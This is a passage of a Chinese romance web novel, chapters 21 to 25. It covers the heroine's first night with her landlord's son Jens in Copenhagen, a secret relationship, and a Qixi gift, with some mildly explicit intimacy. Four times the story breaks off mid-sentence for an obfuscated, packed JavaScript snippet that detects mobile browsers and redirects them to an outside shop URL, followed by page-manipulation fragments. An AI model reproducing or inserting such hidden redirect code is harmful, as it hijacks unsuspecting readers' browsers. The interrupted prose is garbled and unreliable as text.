哪怕他家人这个时间应该已经都睡了。 确实如此。别墅里面静悄悄,没有人在等晚归的人。 上到二楼,龙秉月的步伐慢下来,一步三回头,然后干脆改为倒着走,一点点看着安宴离自己越来越近。 最后到走廊尽头,他赶上她,一手打开房间门,一手拉着她一齐进去。 龙秉月终于进了梦寐以求的房间,好奇了那么久,但根本来不及观察,就被迎面而来的吻占据。 嘭——她只来得及把手包甩到地上。 没有开灯的屋里一片昏暗,她被安宴抱着抵在门上,双腿顺势缠上他的腰。 这一回,安宴没有满足于仅仅亲嘴,吻渐渐从唇流连到鼻尖,到眼角,再到耳朵。 耳垂被含住的时候,龙秉月的心脏终于爆炸得受不了了,这一晚的刺激太多,她需要缓一缓。 可这才仅仅是开始,她的嘤咛声只是点燃了眼前人的热情。 骤雨停歇之时,她明白了小说里“嘴巴被亲肿”并不是夸张。 想到之前在湖畔吹口琴,安宴说嘴吹麻了,怎么现在不见他嘴麻呢…… 她下巴靠在安宴的肩膀上稍作休息,耳畔传来克制的声音:“很晚了,你该回去睡觉了,嗯?” 龙秉月不知道现在几点几分,她只记得下车前看了一眼手机,差一刻一点钟。 即使是那个时间,也称不上她该睡觉的时间——根本是她平时已经入睡的时间。 但是在这个深夜,这个凌晨,她脸颊贴着安宴的颈项,缓缓地说:“我不困。” 然后也学着他刚才的动作,吮上了他的耳垂,在他耳边念下咒语:“我们继续吧。” 轻轻的声音,同样可以成为一颗惊雷。青涩的动作,照样能够引爆这颗惊雷。 安宴空出一只手打开灯,对光敏感的龙秉月在光照刺激下紧闭双眼,放心地抱在他身上,任由他把自己带到哪里。 他的房间好大,走了一、二、三、四……十六步,他才把她放下。 ——是软着陆,身体落在了软绵绵、毛茸茸的东西上面。 龙秉月慢慢睁开眼睛,适应光亮。 首先映入眼帘的是一个壁炉。并非那种仿3D的雾化壁炉,火焰不过是屏幕假象,而是真火燃木壁炉,旁边有一个格子专门放木柴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651548|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安宴此时正站在壁炉附近,扭头问她:“你冷吗?” 方才只觉得火热,现在坐在地毯上,人逐渐冷静下来。 屋里开窗通着风,十六七摄氏度的夏末午夜,她被这么一问,确实感觉挺冷的,不自觉抱了抱手臂,摸到了有些发凉的皮肤。 “有点。”她说。 他好像就在等她肯定的回答,问的时候手已经放在了提拉门把手的旁边,得到答案的当下立马拉开炉门,给木柴点火。 顺手还在火炉所在的台子上放了一个盒子,挨得很近,像是要给那东西取暖。 龙秉月看那盒子总觉得眼熟,却想不起来在哪见过。 但她没有细想,注意力很快被屋内陈设吸引走——少说有一百平的房间,她要想仔细观察完,恐怕要花上和接吻同等的时间。 安宴等不及了,既然她主动给了许可。他捏过她的下巴,欺身上来。 “试试我新买的地毯。” - 安徒生有一则童话,龙秉月从小到大都印象深刻—— 冬日,屋外的雪人爱上了屋里的火炉。它知道自己靠近火炉就会融化,却仍然情不自禁地想要靠近,获得温暖与光明。 这份爱最终导致了雪人融化。 从小被训练做阅读理解,提炼中心思想,她知道这个故事想表达爱情即使短暂也深刻,时间宝贵,好好把握机会。毕竟,等春天到来,雪人照样要融化。 前段时间重读,她才注意到一些回忆所没能保留的细节。 ——孩子们把雪人堆起来时,放了一根扫帚在它体内作支柱,那是搅动它内心的火钩。它不是平白无故受到火炉吸引,是命中注定。 童话就此带上了宿命论的色彩。 今天,在安宴的房间里,龙秉月偏头怔怔地盯着壁炉里的火焰,又想起了雪人与火炉的故事。 毫无疑问,她是雪人,她正在融化。 一百多年后的这位“安徒生”,不再让雪人扑火,他自己变作火炉,融化雪,也被雪水浇盖。 龙秉月低头望着那一团似火的卷发,内心感慨安宴必然是能成大事的人,太能忍了,一点也不急躁。拥有绝对的耐心,要交出满分的答卷。 她自己也是能成大事的人,在这样濒临昏厥的状态下,她竟能分出一丝精力作此感慨。 等她彻底没了力气,安宴又过来啄吻她嘴角,及时关照她的体验:“有哪里不舒服或者不喜欢吗?” 她疲惫地想,餐厅都是等顾客用餐完毕才询问体验,哪有主菜还没上就问的。 实际上她连摇头都懒得摇,就看着他,眼神迷蒙。 面对她的沉默,安宴的体贴一如既往:“累了的话,今天就到这里?” “不,我可以。” 龙秉月身体劳累,但大脑十分清醒。她产生了一种类似于让手表上健身记录闭环的执念。 “好。那你想停的时候随时喊停,好吗?” 她点了点头,没再说话。 被抱到床上的时候,内心是坚定的:不,我要完成闭环。 22. 第二十二章 “你送的生日礼物,我很喜欢……” 魔音绕耳,在梦里也不绝。龙秉月猛地惊醒,耳畔依然回荡着这句话,不辨晨昏。 这也要怪罪魁祸首就躺在她身边,胳膊甚至霸道地压在她胸前,紧紧环着她在怀里。 这也是一种“闭环”。 回想起梦里最后那句话,龙秉月不自觉地舔了舔自己的嘴唇,总感觉上面还黏着巧克力。 没错,巧克力。 她两个月前买来当入住礼物,最后变成安宴生日礼物的巧克力礼盒。 他一直留到现在不说,竟然还……竟然还……能那样玩…… 现在不是回忆的好时候。龙秉月挣脱出安宴的怀抱,在昏暗的卧室里凭着感觉和印象往门口走。 她要赶紧捡起昨夜丢在门口的包,找出手机看看时间和消息,然后溜之大吉。 脚落在地上,没有发生想象中的浑身酸痛和腿软,除了睡眠严重不足导致的困乏外,她一切感觉都还好。 这得益于安宴不只会撩,更懂服务,为她做了万全的准备。她在漫长的前戏里急不可待,他都还好有耐心。 好吧,看在这份上,巧克力的事暂且不和他计较。 想到这些时,她正在黑暗中摸索着,似乎摸到了壁炉。 心想事成一般,前方一台落地灯朦胧地亮了起来。 光线温和,淡淡的,对她的眼睛很友好。 身后也适时响起一道声音:“要去做什么?” 龙秉月循着声音望回去,安宴侧身躺在床上,盖着薄被,胸以下都隐在被子里。 而她已经拥有透视能力,可以看穿被子。视线沿着肩膀光滑的线条看下去,是几分钟前还和她依偎的身体,这一眼又打通了肌肤的触感。 忍住男色蛊惑,她暂时挑了最简单无害的一点来答:“我去拿我的手机。” 匆忙走到门口,找到手机解锁——还好只是早上九点,没有一下子睡过午饭。 她又在地上一件件捡起散落的衣服,转过身背对着安宴,脱掉被她用来当睡衣的他的T恤,换回自己的。 不管是脱或穿,都大大方方,一点不忸怩。 中途专门扭头看了一眼,很好,他目不转睛地盯着自己换衣服。 也是大大方方,一点不忸怩。 然后才缓缓拆穿她:“不是拿手机吗,怎么这就起床了,不再睡一会儿?” 龙秉月回到床边,侧身坐下。落地灯的光从身后照过来,上半身的阴影覆盖在安宴脸上。 “我回我房间补觉。” “嗯……”她纠结地组织着语言,继续说道,“我们两个的关系,可以先不要让其他任何人知道吗?就是,这间屋里发生的事只留在这里,出了这个门还像以前一样正常相处。” “正常是什么意思?昨天我们当着几千人的面接吻了。”安宴不理解,声音也变得沉闷,“难道你昨天说的lovers,不是指情侣,其实是只想当情人?” “不是,当然是情侣。”她不假思索地反驳,让安宴的表情稍微好看了点。他还躺在她的阴影里,等待她的下文。 龙秉月不知道该怎么和他解释自己的心理,她自己都还需要时间来梳理自己的想法。 姑且安慰道:“只是暂时保密,好吗?” “暂时……我明白了,你是想对我家人保密到你月底离开?你现在想法也不变吗,在我们……” 她逃避着有关“同居”的话题,打断他:“我毕竟是第一次恋爱,给我一个缓冲期,好不好?” 安宴恨不得马上让大家都知道,让她住在这里一事变得不能更顺理成章。他想要她敞开心扉诉说原因,而不是拐弯抹角提出要求。 但“第一次”显然取悦了他。 “好。”他说,“也别让我等太久,好不好?” 龙秉月暂时给不了“好”或“不好”的答案,灵光一现,想到了住进来那天安宴对邻居说的话。 “哥哥,你忘了吗,我是你妹妹呀。我们这种关系,确实不太好公开……我需要积攒和全世界对抗的勇气。” 她用玩笑糊弄过去,接着是一个吻。 倾身向前,堵住他接下来可能的话语,以此来结束话题。 亲吻的同时,手不忘邪恶地掀开被子,瞥了一眼后轻笑:“是我换衣服之前还是之后变成这样的?” 温热的呼吸打在安宴的脸上,他不说话,伸出左手预备扣住龙秉月的后脑勺来加深这个吻,却被她躲开,右手按住他的手腕。 “只是早安吻,可以啦。”她用左手食指按住他的唇,“你不可以的话,自己解决吧。我真得回去了。” 放下手后,她安抚似的又啵了一下,然后恋恋不舍地起身离开。 亲密过后的上午,怎么会不想要多多温存。她对自己也是好狠心,能做到这样果断离开。 安宴也跟着起身:“我送你到门口。” 他是更加舍不得的人。 中途经过地毯,龙秉月倒抽一口气,经过一夜,它比昨夜更惨不忍睹了。 艳糜画面在脑海中复活。她也就能在早上起床后强势一点了,夜里根本被拿捏得束手无策。 思及此,她狠狠打了安宴一拳:“这些你自己收拾。” - 龙秉月补觉到十二点,在闹钟的呼唤下艰难地爬了起来,要在午饭时正常现身楼下。 还是好困。 昨晚罔顾时间,她到最后也不知道自己是几点睡的,只知道那时候天已经亮了,光线从窗帘缝隙透进屋里。 昏睡前的最后一个行为,是指挥安宴把窗帘拉严实,不要放进来一点光。 她睡眼惺忪地坐在桌子前,准备化个伪素颜妆遮一下倦容。在此之前,她先打开天气app,看了眼今天的日出时间。 好啊,真行。05:52——你见过凌晨五点的哥本哈根吗?她反正是没见过。 再抬眼看镜子里的自己,一看就没睡够不说,脖子上还有好几个草莓印。 好啊,真行。亲密的时候太沉浸了,她完全失去理智,在安宴灵巧的舌头下溃不成军,哪还有心思提醒他千万别在衣服遮不住的地方留吻痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666806|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在好了,还得多花力气遮。 不过以后就有经验了……什么以后,龙秉月晃晃脑袋,先把午饭应付过去再说吧。 她特意穿了衬衣,把扣子系到最上面一颗。再把露出来的和边缘的吻痕统统用遮瑕盖住。 她挑化妆品的眼光真是不错,遮瑕盘证明了自己的能力,就像粉底液也在昨天证明了自己的防水抗汗能力。 下楼来到餐厅后,出乎意料的是,安宴已经在餐桌前坐着了。他平时很少一起吃午饭,现在这是搞哪一出? 龙秉月挑了他斜对面的位置坐下,尽可能离他远一点,免得肢体动作暴露了。 “中午好。” 她只展现出基本的礼貌,没想到安宴不像她担心的那样会露出端倪,反而比平时冷漠,就淡淡点了个头,不回她的话,也不看她。 他这演技太差了吧,就不能自然点吗,之前好歹在自己担任摄影师的电影里跑过龙套,也能算半个演员。 安宴的沉默一直延续到了午餐进行时,没人问他话他就不开口,像个隐形人。 即便如此,龙秉月仍旧加深了对做贼心虚的理解,总觉得他家人看她的眼神变得微妙起来。 事实上安扬确实起疑了,观察了一段时间他们两人的氛围,开口问龙秉月:“对了,你们昨天在趣伏里玩得好吗?烟花怎么样?” 龙秉月努力回想着在车上看了却没看进去的烟花视频,干巴巴地夸了一句:“放烟花时候的背景音乐好好听。” 安扬过渡到她真正好奇的事上:“你们是不是在游乐园吵架了?Jens这个死样子……天,我昨天真应该放弃看演出,跟你们一起去的。” “没有啊,我们挺好的。”好奇心传到了龙秉月身上,“为什么这么说?” “因为我小时候第一次去趣伏里的时候就和他吵架了。” “啊?” “那时候我七岁吧,个头不高看不到烟花,想让他把我抱起来看烟花,被他一口回绝了。气死我了,哪有这样当哥哥的,不抱就算了,还骗我说抱不动,他当时都已经成年了喂。” 安扬一边吐槽着,一边气愤地瞪了安宴一眼,而他还是没什么反应,自觉背下这个罪名。 抱不动吗? 这个问题的答案,龙秉月再清楚不过。她默默低下头,往嘴里扒了一口饭,掩饰脸上不自然的神情。 咽下饭后,她真诚回道:“他真是蛮坏的。” 整顿午饭,龙秉月一直在偷偷观察安宴。听到这句,他才头一回有了表情,眼角微微上扬,手指摸了摸鼻子,挡住了嘴巴。 - 午饭后,龙秉月回到卧室,打算下午继续补觉。 幸好是星期天,幸好暑假兼职已经结束,幸好还没开学,她可以自由支配时间。 然而她刚在床上躺下,安宴已经迫不及待发来信息,一条紧跟着另一条: 【缓冲好了吗?】(英语) 【妹宝】(中文) 龙秉月直呼救命,安宴在哪学的中文网络流行语,他根本学废了吧…… 23. 第二十三章 两条消息都是显示在手机通知栏里的,还没有被点开,也就不会在对方手机上提示“已读”。 于是龙秉月安心地睡下了。 好困好累好困,别说是她还没想好怎么回应的事,就是天塌了都不能阻止她补这个觉。 可惜,某人追到了她的梦里,纠缠不放。 半睡半醒之间,她看到安宴趴在她的床边,和她接吻。 她平时本来就不会在睡觉时锁门,这触感又太过真实,她以为安宴真的来她房间趁她睡觉偷亲她了。 奇怪的是,她一心想要保密,当下却并不抗拒,动情地迎合着他。 心里只觉得。 偷情好爽好刺激。 这种感觉没能持续多久——她醒了。 上一秒还在热吻,这一刻望着空空如也的房间,才意识到只是在做梦。 而她亲的,是怀里的薄被子。 再起身一看,枕头上湿了一块…… 一生要强的龙秉月崩溃了,她都多少年没有睡觉流过口水了,现在竟然因为一个男人又这样,活像个花痴。 安宴霸道地侵入她的世界,不仅现实,连梦也不放过。 她气鼓鼓地打开手机,点进午睡前收到的消息,回复了冷冰冰的两个大写字母:【NO.】 - 傍晚,龙秉月来到健身房,用瑜伽球做一些拉伸、放松肌肉的动作,舒展睡了半个白天后僵硬的身体。 没过多久,门口传来一声怨夫的哀嚎:“没工夫理我,但是有精力健身?” 她惊得直接从瑜伽球上滑下来,躺在瑜伽垫上看向门口。 安宴正抱臂倚靠着门框,健身房的门大开着,外面天还是亮的,从院子里完全可以透过落地窗看清室内。 龙秉月立马从垫子上弹起来,一个箭步冲到门口,关窗帘、拉安宴进屋再关门一气呵成,把健身房变密室。 安宴由着她做,又在她做完这一切后好笑地说:“这样不对吧,通过门窗才方便观察外面的动静,你都关起来反而让人起疑。” “没事,可疑就可疑,总比实锤好。”她无所谓道。 “以前我们也同时在健身房锻炼过,多正常的事,怕什么。” 龙秉月“哼”了一声:“你也知道以前是‘锻炼’,你敢说你现在是来锻炼的吗?” “你想让我锻炼我当然可以锻炼,但……”安宴事实上默认了她的想法,“我知道你需要缓冲期,但你是不是有点紧张过度了,可以和我说说你究竟怎么想的吗?” 她安静地思考了一会儿,脸上的迟疑表情清晰可见,缓缓说道:“不知道你能不能理解这种心理,我明明是来这里工作的,却不合时宜地爱上了不该爱的人。结果就是我很愧疚,我无法面对你的家人。” 也同样无法面对外人的审视,但她没有说。 “就这样吗?”安宴问,“这方面你不用担心,相信我,他们不会有任何意见,只会高兴。” “那我就更愧疚了,宁愿先不走到这一步。” 安宴不知道该怎么说,所谓“不合时宜”“不该爱”,在他这里恰恰相反——套路她住进他家,从一开始就是他的计谋,希望她能在同一屋檐下日久生情。 现在目的达到了,却也产生了意料之外的副作用。告诉她这件事不见得能消解副作用,反而有很大概率吓跑她。 他只好继续一点一点套她的想法:“那外人呢?比如你的朋友,我的朋友,也要瞒着?” “肯定不能只瞒你家人不瞒外人啊,不然他们以后知道了得多伤心。”龙秉月对此毫不迟疑。 “你倒是很替他们考虑。但是不让人知道,并不能改变恋爱的事实。” “没错,不会改变,所以公不公开都差不多嘛。”讲歪理小能手又开始发动技能,“既然早晚要公开,不如趁现在好好享受没有公开的时光,公开后可就回不到地下恋爱了。” 她想到下午做的梦,和此刻的偷偷摸摸联系起来,调皮道:“其实偷情也挺刺激的,你不觉得吗?” 安宴想说他不觉得,但如果她想这么玩,如果她真把这当成情趣,那他愿意奉陪。 然而他决定利用这个机会讲条件:“我可以答应秘密恋爱,那你能不能答应不要搬走?” 龙秉月愣住了,明明才开始恋爱,她好像已经习惯了对方为她让步,总是推脱他的需要。 现在他再次提起这件事,她没有直接回答,而是反问:“我答应不搬走,你就愿意对家人保密吗?一直保密到我能说出口为止。” “成交。” “别成交,你先别,我还没答应呢。我得考虑一下。”她是不想和他住在一栋楼里吗,她是要和朋友商量。 龙秉月不等安宴继续拉扯,赶起客来:“好了好了,你不健身就快走吧,我要继续拉伸了。” 安宴自然明白不好逼得太紧,于是转换话题表示疑惑:“我刚过来的时候就想问了,你还这么有力气?昨晚心疼你只做了一次,我是不是小看你了……” 话没说完就被无情打断:“你管那叫一次?” 她以为那叫每种姿势来一次。 再说了,凭什么要以男人到的次数来衡量。再再说了,前面他难道玩得不爽么,是他自己迟迟不进入下一环节的。 “那你说应该算几次?我听你的。” “……”她还真的不知道。 安宴把她的表情变化尽收眼底,知道她根本没顾上算,坏笑道:“今晚继续?这次好好数数。” 龙秉月想了想,他都这么说了,下次肯定要变本加厉,而她明天要最后去一趟中文学校收个尾,不能再白天睡一天,便果断拒绝了:“今晚不行,明晚再说吧。” 安宴还没完全放弃:“那晚上来我房间一起睡觉?” “不要。” 她才不傻,两个刚在一起的人怎么可能睡素觉。现在能忍住不亲密全靠在公共空间的警惕心理,进了卧室锁了门只会指向一个结果。 龙秉月把健身房的门打开一个缝,探头探脑地往外看了看,没有人在,也听不到有人上楼的声音。 “限你五秒之内出去。”她命令道,仿佛她才是这个家的主人。 安宴欣赏了她的神情一秒,俯下身来捧住她的脸亲了她三秒,然后在最后一秒里闪到门外,留下一时间没反应过来的龙秉月在门内懵逼,心脏怦怦跳。 ——这就是她想要的偷情的刺激吗……原来梦境模拟不出其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691149|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百分之一。 他是答应暂时保密,可没有答应不在外面亲她。 - 站在分岔路口,龙秉月发现自己没怎么犹豫,就走上了名叫“重色轻友”的那条路。 当然,房子她肯定会一起租的,毕竟合同都签了。而且她需要有不倚靠他人的,自己的房间。这和经济独立一样,是她和安宴谈恋爱的底气来源。 半夜她躺在床上辗转反侧,决定择日不如撞日,就今天告诉喻琳这件事。 她的作息是因为安宴才打破的,而被打破的作息又为这件事腾出了时间,不得不说巧妙。 龙秉月在微信上试探道:【喻琳琳,如果我们合租期间我经常外宿,你觉得?】 国内现在是大早上,以喻琳的作息大概率还没醒,不过发出去也好,免得她明天醒来又犹豫。迟早要面对的事。 喻琳竟然很快回复了:【我妈说谢谢你。】 龙秉月:【?】 喻琳:【她拉着我起个大早来烧香拜佛,我本来困得要死没少挨骂,你一句话让我清醒了,她可不得感谢你嘛。】 诶,她那句话有什么能让人清醒的威力吗?难道喻琳是失望伤心了?不要啊…… 龙秉月没有疑惑多久,疑问的话都还没发出,喻琳的下一句就让她哽住了:【你跟你房东谈了?】 她颤抖的手飞速打下这些字,没怎么思考,只想赶紧知道答案:【怎么猜到的?】 附带一个鼠鼠张大嘴吃惊表情包。 嗯……说要保密,她却先透露给闺蜜了。但是不说明对方身份,也算保密吧?只要他们两个不认识。闺蜜只是知道了自己脱单而已。 喻琳:【你给房东送礼,房东给你开派对,你在聊天里8376592次提到房东,没猜错的话你昨天朋友圈发的Tivoli也是跟房东一起去的吧?现在你要经常外宿,还能是谁?】 龙秉月连连喊冤,不是,怎么连她送入住礼也算上了,那时候她根本没动心啊! 喻琳又仿佛隔着小半个地球猜中她的心思:【这就是小说里写的“爱而不自知”吗hhh但在熟悉你的人看来很明显哦[吃瓜]】 爱而不自知……吗?她搞不清了。 不过,这似乎并不重要,不管他们各自是什么时候坠入爱河的,现在都已经相爱了。 吃瓜属性爆发的喻琳话越来越多,看得出来她的确不困了,兴奋得很: 【房东照片有吗?快给我看看。】 【我当然不介意你外宿,你随便宿,只希望你千万别太恋爱脑,别被吃窝边草的狗男人骗了。】 【等下……是男朋友吧?】 【如果是女朋友的话我就不怎么担心了。】 【我在灵隐寺,都说这里求姻缘最灵,用不用帮你求个御守啊?】 【马上七夕了来求姻缘的人好多好多。】 龙秉月看着一连串的消息,笑得更没有困意了。 有朋友支持自己的恋爱真好,热恋上头的时候能有朋友提醒自己别被骗真好,尽管她相信安宴。 趴在床上一来一往地聊着天,她再次感受到了深夜的美好,熬夜的乐趣。 坚持多年的稳固作息,又被拔出一点点。 24. 第二十四章 星期一下午,龙秉月从暑假兼职的中文学校办完手续出来,在楼下又想起昨天喻琳提及的七夕。 从前一直单身,不关注这些节日纪念日,只记得每次都被秀恩爱刷屏,她通常会礼貌性点赞。 今年被提醒才意识到,确实还没刷到大家集中秀恩爱,七夕比往年来得晚一些,刚刚好让她过上。 作为一个喜欢仪式感的人,她打算去挑个七夕礼物送给安宴。 况且,两人刚在一起就在保密和同居的事上产生分歧,有必要修复一下可能存在的裂痕,以绝后患。 来到市中心的购物街,面对着琳琅满目的商品,龙秉月却发现她不知道送他什么好。 安宴好像什么都不缺,也对什么都不是特别在意。 她则是越在意,越难选。 唯一确定的,是绝对不要再送他巧克力。 走过她不忍直视的巧克力店,逛着逛着,来到了一座红色砖墙的小楼前。 介绍说这是有着五百多年历史的老建筑,门上金色的王冠logo十分显眼,下方是凸起的大写字母店名:ROYALCOPENHAGEN,皇家哥本哈根。 龙秉月对这个品牌印象深刻。 在哥本哈根机场里,过安检后它有一个很显眼的店面,售卖着各种美丽餐具。 除了美之外,她记得就是贵。因此机场里常常有人驻足,却少有人购买。 本着“反正逛逛也不要钱”的心态,她走了进去,经过一段旋转楼梯上到二楼。 店里顾客不多,宽敞的空间内陈列着精美的瓷器,她几乎立刻被玻璃橱柜里一款月牙形状的餐盘吸引了。 巴掌大小,白色盘身,上有蓝色手绘唐草纹。 就是它! ——这一刻她领悟,之前觉得礼物难选,可能并非因为在意,而是那个礼物还没出现。当它出现时,你一眼就能相中,根本无需犹豫。 不似其它地方有热情的导购,在这里若需要帮助,得自己去找店员。 “请问这种月亮形状的餐具,还有其他款吗?” “一共有四款。”店员告诉她,“三款是同样的唐草纹,边缘形状不同,像这款是全花边的,另外还有半花边和平边的。最后一款也是平边的,主体是纯白色,只在边缘有简单的花纹。” “我想看看最后一款!”龙秉月眼睛亮了,她之前正是觉得花纹有点多,既然有简洁款的那就再好不过了。 看了之后发现,这款还是四款中最便宜的,性价比之王。 店员大概是把她当成游客了,在她决定要餐盘后又给她推荐道:“要是旅游送礼的话,我们经典的字母系列的马克杯人气也很高。” 是哦,她对盘子一见钟情的时候光顾着美观和寓意了,对安宴来说,杯子其实更加实用。而且它同样是蓝白色系,有相似花纹,和盘子放在一起不会突兀。 字母J的杯子用来喝咖啡,月亮形的盘子用来放小点心,堪称天作之合。 想到这里,龙秉月觉得这两个东西她非买不可了。 哪怕价格加起来有1208丹麦克朗——咬咬牙,默念着“暑假一天的工资而已”。 - 晚饭前后,龙秉月特意去厨房观察了安家的餐具,发现虽然有同一品牌的,但没有她买的同一系列的,松了一口气。 餐桌上,她感觉自己的演技日益精湛,在人前能像一个月前那样和安宴相处,不留一丝露马脚的可能。 不知道回来能不能走安宴的后门去电影里跑个龙套,多多体验不同的职业,丰富人生经历,也更深入地了解他所在的行业,了解他。 安宴呢,果然答应了她就会做到,演技不像昨天那般生疏,看来昨天演技差都是演出来的。 私下相处的时候,他也没再追着问她决定好了没,要不要继续住下。 ——毕竟他们没太多说话的机会,全靠身体在交流。 自己谈恋爱前,龙秉月不理解为什么小情侣可以那么腻歪,没眼看。如今食髓知味,每分每秒都想贴贴,还是没眼看。 不一定要做或者接吻,更多是想要肌肤相亲,像得了只针对一个人的皮肤饥渴症。 今天两人开始得早,结束得也早,龙秉月赖在安宴的怀里不愿意出去,哪怕是洗澡。 大汗淋漓着相拥,比干爽时要亲密百倍,她认为。 这次开着灯,她抬头就可以看到墙上的钟表。 时间刚刚跨过零点,新的一天,本地时间进入农历七月七日了。 龙秉月一边用手在安宴的胸肌上画圈圈,一边问:“你知道吗,今天是中国的情人节,七夕。” 安宴捉住她捣乱的手,十指相扣制止住她的动作:“嗯?” “你想要什么礼物吗?”虽然她已经准备好了,但还是装模作样地问问,看看他会不会说“有你就够了”之类肉麻的话。 安宴作势思考了下,凑近她耳边问:“还记得我的打赏页面吗?” 龙秉月当然记得,打赏咖啡嘛,她还给他画过小咖啡杯。 她点了点头。 安宴又在她耳边念出打赏网站上的打赏词:“BuyJensaco----tosupporthim.” 故意模糊掉coffee一词的后半截,什么心思昭然若揭。 龙秉月装作听不懂的样子,乖巧道:“好巧哦,我准备的礼物就是咖啡杯。” 心里其实有在吐槽,刚不是才用过吗,第一次的时候你屋里不就有那玩意吗,虽然不知道你是早就有这个心思提前准备了,还是之前和别人…… 变红的耳朵出卖了她,安宴没有拆穿,低头亲了亲她的额头:“谢谢宝贝,我什么时候可以拆礼物?” 龙秉月的心停跳了一拍,随即跳动得更快——这是他第一次叫自己“宝贝”。她听过他的家人叫自己无数次宝贝,都没有什么感觉,而他一次就让她小鹿乱撞了。 这还是在两人亲密之后。她好菜,一撩就动心。 不过话说回来,安宴应该是很会说骚话的类型,可她太喜欢接吻的感觉了,没给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703582|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他多少在言语上发挥的空间,常把话语吞在口中。 她一个本科学语言、研究生专业名称包munication一词的人,到头来竟然喜欢不说话胜过说话,她都想毕业论文研究自己了。 但确实没毛病。他们能用不同的语言交流,身体却诚实地告诉他们,什么才是最亲密的语言。 正如此刻她依然只想贴贴:“礼物白天再给你吧,我现在不想动。” 安宴说好,“那你有想要的礼物吗?” 龙秉月想了想,她同样不缺什么,尽管她在丹麦只有两个28寸行李箱的东西。 人不需要很多东西就能生活得很好,但如果是安宴给的,她都愿意接受。 “我不挑,但是有一点,不要巧克力!” 安宴笑了:“为什么,那天你不是挺喜欢的吗?” 那天……种种画面浮上心头,肌肤上好像又有了黏腻的感觉。 加热融化的巧克力在她的唇上涂了一圈,然后由他慢慢吻掉。后来,巧克力不止在唇间。 保质期只有三个月的巧克力,也不知道他怎么就留了两个月都不吃。 对于自己的口味喜好,龙秉月没什么好瞒着的:“其实我不喜欢吃巧克力。” 安宴一脸意外,也光速道歉:“对不起,是我自以为是了。你知道的,丹麦人疯狂热爱甜食、巧克力……” 确实没错,欧洲人本就嗜甜,而她好像之前在哪里读到过,丹麦人的糖果巧克力消费量甚至是欧洲人均的两倍。 况且就算在中国,她也很少见到完全不爱吃巧克力的人,一般人顶多是有口味偏好,比如只喜欢黑巧。 这当然不能怪安宴,她也没有丝毫责怪的意思,只是坦然说出自己的想法,增进彼此的了解。 “没关系啦,虽然不喜欢吃,但我也挺享受的。”龙秉月的脸埋在安宴胸前,声音越来越小,“以后会喜欢上吃巧克力也说不定。” 毕竟嘴巴都快要长在一块了啊。 “对了,”她忽然想到要什么礼物了,“七夕晚上想和你一起看电影可以吗?要这个当礼物。” “去影院?”安宴自动开始在脑子里搜索哥本哈根有特色的独立影院,思索着哪家正在放映的片单适合情侣约会。 可惜他想错了,龙秉月给了否定的答案:“不,在家里影音室,看你的电影。” “不怕被我家人发现了?”他燃起一丝希望。 “等他们都睡了再去。”她毫不客气地浇灭他的希望。 “你是要彻底放弃你原来的作息习惯啊。” “怪谁?”龙秉月没有被牵住的那只手,对着安宴的下巴就是一拳,不过是轻轻的一拳,“我弃疗了,反正还没开学也不用工作,暂时放纵一下人生吧。” “嗯,怪我。”安宴应下,“这个不用当礼物,我们随时都可以一起看电影。我再送你别的。” “好呀,你真好。我要给你打赏~” 话音刚落,龙秉月就翻到安宴身上,倾身吻上他的喉结。 25. 第二十五章 经过一个多星期日夜颠倒、昏天黑地的生活后,龙秉月的生活终于不再只围绕着一个人转了。 其中首要的,就是她的“合租室友”喻琳回来了。 下午,她婉拒了安宴开车接送的请求,自己坐地铁去机场接人,然后和喻琳一起去合租的新房子。 她们最终定下的是一套两室一厅一卫的公寓,坐落在机场和学校中间,而安宴家又在这个公寓和学校之间。 龙秉月本来还在为自己重色轻友而愧疚,结果喻琳是个重八卦轻友的。 两人见面后,她无视龙秉月张开的怀抱,松开行李箱抓住她的胳膊就问:“你男朋友照片呢?快给我看!” 